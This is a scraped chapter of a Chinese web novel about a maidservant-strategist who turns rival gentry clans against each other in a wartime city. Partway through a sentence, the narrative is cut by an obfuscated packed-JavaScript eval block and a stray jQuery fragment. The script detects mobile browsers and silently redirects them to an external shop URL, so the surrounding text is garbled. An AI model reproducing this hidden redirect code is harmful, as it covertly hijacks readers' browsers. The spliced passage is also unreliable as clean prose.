文趣网 > 其他小说 > 乱世女婢升职记 > 8. 挑拨离间
    “她,她劝我莫要与使君作对,否则全府性命难保。”

    刘夫人声音哽咽,“夫君,算我求您了,使君可是我和哥儿的救命恩人啊!”

    刘家主长叹一声,“你光记得老夫人是你的救命恩人,可还记得裴邡三番四次带人劫掠府中食粮,欲断满府生路?”

    “可,可,那也是为了镇济流民,若流民失控攻入城中也如何是好?”

    刘家主还想辩驳,乱世人人自危,流民而已杀了一了百了。

    可一想到自家夫人那心善的性子,怕死听不得这些,索性作罢!

    “主君,消息打探到了。”

    刘家主命人将哭闹不止的夫人带下去,随后端坐主位示意家丁说下去。

    “赵二那混球在外宣称午时一刻必下大雪,让各家都注意这些。”

    刘家主的目光落在家丁那张青紫的脸上,“你的脸怎么回事?”

    家丁苦哈哈的开口,“那赵二简直不是个东西,小的不过多问了两句,他抬手就给了小的两拳。

    还扬言不服尽管去报官,他在衙署里等着。”

    刘家主的面色越发凝重。

    不对,裴邡还未归城,这群人怎敢如此嚣张?

    “昨日的事你调查得怎样了?”

    一听到昨日的事,家丁脸上神情立刻从诉苦变得敬畏了起来。

    “据说是那群人都杀进后宅了,天上忽然刮起一阵邪风,燃起了大火,硬生生将他们人给烧死了。”

    “砰”,刘家主拍案而起,“胡言乱语,你在哪听到的说辞?”

    家丁双膝一软,直挺挺跪了下去。

    “主君您就是给小的一百个胆子,小的也不敢拿这事说谎啊!

    这,这些,都是王府管事亲口透露给小人的。”

    王家的,也在打探这件事。

    难不成,使君府还有什么高人坐镇?

    亦或者,这本就是裴邡针对他们设下的圈套,就等着他们自己上钩。

    刘家主背着手,开始在书房中踱步,“现下什么时辰了?”

    家丁双手抱膝,“主君小的这就下去询问。”

    片刻后家丁慌张冲入院中,“主,主君,午时一刻,外面,外面下雪了!”

    刘家主脚步一滞,快步踏入院落。

    雪,果真是雪。

    那昨日的邪风,难不成也是真的。

    裴家老夫人那话怕真是对他家最后的忠告了。

    家财固然重要,可同性命比起来,又算得了什么?

    可——

    事情已经到了这般,裴邡当真会放过他吗?

    “主君,王家主来了。”

    王家主是一位白发佝偻的老者,也是刘夫人的父亲。

    比起刘家主,半截入土的老者反倒是更加迷信,更加的怕死。

    刘家主快步上前,搀扶住岳父大人。

    “昨日团练使府中的事我遣人看了个明白。

    今日你家仆从上我家打探消息,还没出一刻钟二娘就叫人给我报了信。

    贤婿这事你怎么看?”

    刘家主面露难色,“岳父可是难倒我了,事情已经走到这一步,往前是死路一条,往后其他家怕是也不会放过你我两家,到底该如何是好?”

    王老家主冷哼一声,“不破不立,往后的路再难,也比丢了性命要强。”

    团练使府邸之中,宋舒仔细听着赵二的回答,生怕错过一个字。

    “刘夫人暗中给母家传信,午时那会儿王家的老家主偷摸去见了刘家主。”

    【极好,牢中那几个活着的山匪可有交代些什么?】

    如果能从山匪口中套出那几家同他们合作的,那就再好不过。

    可老夫人摇摇头,“都是些上不得台面小喽啰,除了知道主犯是钱家,其余什么也不知道。

    哎,看来是我把人杀早了。”

    李管事无声叹气,“眼下只盼着使君能早些回来,不然城中怕是拖不了几日。”

    宋舒双目微眯,许是这两天忧思过重,她竟染上些许风寒。

    “咳咳——”

    结果王婆子递过来的茶水润润喉,宋舒指腹摩挲着纸张。

    裴邡不会死,但书中也没明确说过对方什么时候回来。

    还是那句话,不要将希望寄托在别人身上。

    【赵二将老夫人亲自前去探望刘夫人后,刘王两家私下会面的事传给钱家】

    【李管事劳烦您悄悄再跑一趟城门处,就说使君有令,两日内紧闭城门,任何人不许进出】

    “这是要做什么”,老夫人听得一头雾水,“可还需要老婆子出面帮忙?”

    【老夫人今夜好好休息,明日只可去钱府拿人即可】

    钱家府邸,钱家主坐在亭廊之中,望着院中白雪。

    “禁闭城门?”

    “你确定是李管事亲自去的?”

    管家点头,“老奴家中有个远方亲戚,在城门处负责守城,半盏茶前对方特意遣人来知会老奴。”

    “另外——”

    钱家主冷冷睨了眼管家,“说。”

    管家颔首,“裴家老夫人今日亲自去探望了刘家夫人,之后刘家主的岳父也去了,二人在书房谈了许久。

    半个时辰后,刘家主又去拜访了李家。”

    钱家主越听面色越黑,抬手掀翻案几。

    “一群贪生怕死的东西,裴邡回没回来还未知,这群人竟谋划着打退堂鼓了!”

    管事欲言又止,但若真如自己想得那般,钱家可就遭了。

    “主君,若对方只是不敢动手尚且好说,若,若是想接咱们去想裴使君献媚——”

    不等管家将话说完,钱家主直接陷入暴怒的状态。

    “他们敢!”

    如何不敢,乱世礼法纲常早就被弃若敝履。

    这年头为了活下去,什么事做不出来?

    “主君为今之计,不若咱们先下手为强。”

    钱家主还有些犹豫。

    他就算投诚,裴邡当真能放过自己?

    就连钱家主自己没有发现,自己心中早就默认了,裴邡已经回了城。

    这一晚以刘家为首的王,李三家与钱家为首的剩余几家,在钱府中展开了一场厮杀。

    得知消息的李管事,破天荒的笑出声。

    “成了,宋娘子咱们成了!”

    赵二抖去一身的雪花,“这群人狗咬狗斗的厉害,咱们可要现在过去将这群人抓个现行?”

    宋舒想了想还是摇头,【点灯,府中烛火越亮越好,命人把守府门,此外什么都不要做。】

    现在过去,怕是那几家就反应过来,自己上了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17701142|208180||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    当。

    点灯,就是为了告诉这群人,使君府什么都知道,但冷眼旁观,等着胜出的一方前来“献礼”。

    这一夜宋舒的房中烛火再一次燃了一晚。

    直到天边泛起鱼肚白,宋舒刚想叫人去探查情况,裴邡回来了。

    老夫人踏着微弱晨光快步而来,将人细细打量了个遍。

    很好,没缺胳膊也没少腿。

    宋舒老实站在一旁,对方身上的血腥气熏得她脑仁刺痛。

    可紧绷的心弦在这一刻彻底断裂,身体变得软绵无力,脑袋越来越沉,眼前阵阵发黑。

    “我不在的这几日——”

    裴邡的话还没说完,就听“咚”的一声,一个脑袋撞在了他沾血的甲胄之上。

    裴邡本能后撤,眼瞅着宋舒即将面朝下摔倒,裴邡身后的沈述大步上前将人拦腰抱起。

    “义兄快找人叫大夫!”

    裴邡从老夫人的方向挑了挑眉,“我才出去了几日,你怎就把人糟蹋成了这样?

    可,怎么的看儿子不顺眼,索性就拿儿子的人撒气?”

    这是前段时间,老夫人出门回来后质问裴邡的话,裴邡这次一字不落的还了回去。

    裴老夫人脸猛地一沉,一巴掌拍在裴邡的后脑袋。

    “老娘轮得到你调侃,快去请大夫!”

    这种事自然不可能是裴邡亲自前去,招呼个仆从将人绑来就好。

    裴邡草草洗漱后,听着李管事将府中最近发生的事详细汇报。

    一同听着的还有周先生,沈述,周昂等人。

    可以说裴邡的所有班底都在这里了。

    尤其是被宋舒上次吐槽的憨傻声音,这人叫张邰原名张铁柱。

    是裴邡一起穿开裆裤,一起被抓去充军,一起叛变的好兄弟。

    就连名字都是叛军首领醉酒后,一起给他俩起的。

    “我滴个亲娘啊,这,这这,这跟神仙有什么区别?”

    周昂凑到周先生身边低声嘟囔,“爹,这世上当真有能呼风唤雨是人?”

    周先生蹙眉,“休要胡说,此乃占风之术,军中并不罕见。”

    “哦”,周昂点了点头,“那爹你会吗?”

    周先生:……

    屋中陷入一片寂静,最后还是沈述先一步开了口。

    “现下我们该如何?”

    周昂懒散靠着椅背,“还能如何,自是将那帮子蠢货一网打尽。”

    壮如黑熊成精一般的张邰激动起身,“老大,这事交给我。”

    周昂当即起身拦住张邰,“哎,你个蛮熊,主意是小爷提出来的,自是小爷去抓人。”

    “嗤”,沈述冷笑,“抓人你们抓得明白吗?万一坏了宋娘子的计谋,你们可担待的起?”

    沈述起身,冲着裴邡抱拳弯腰,“义兄不若让我去!”

    裴邡抬手拍了拍沈述的肩膀,“宋先生昏迷不醒,你留下负责看护,剩下的交给兄弟们吧~”

    语毕裴邡冲着张邰、周昂招呼了一声,“想去的跟上。”

    周昂呦吼一声冲出屋子,张邰不遑多让。

    但——

    “周先生,您也——”

    周先生双手拢于袖中,大步向前好似没听见沈述的话。

    然后就是裴老夫人,对方居然也淡定地跟了上去。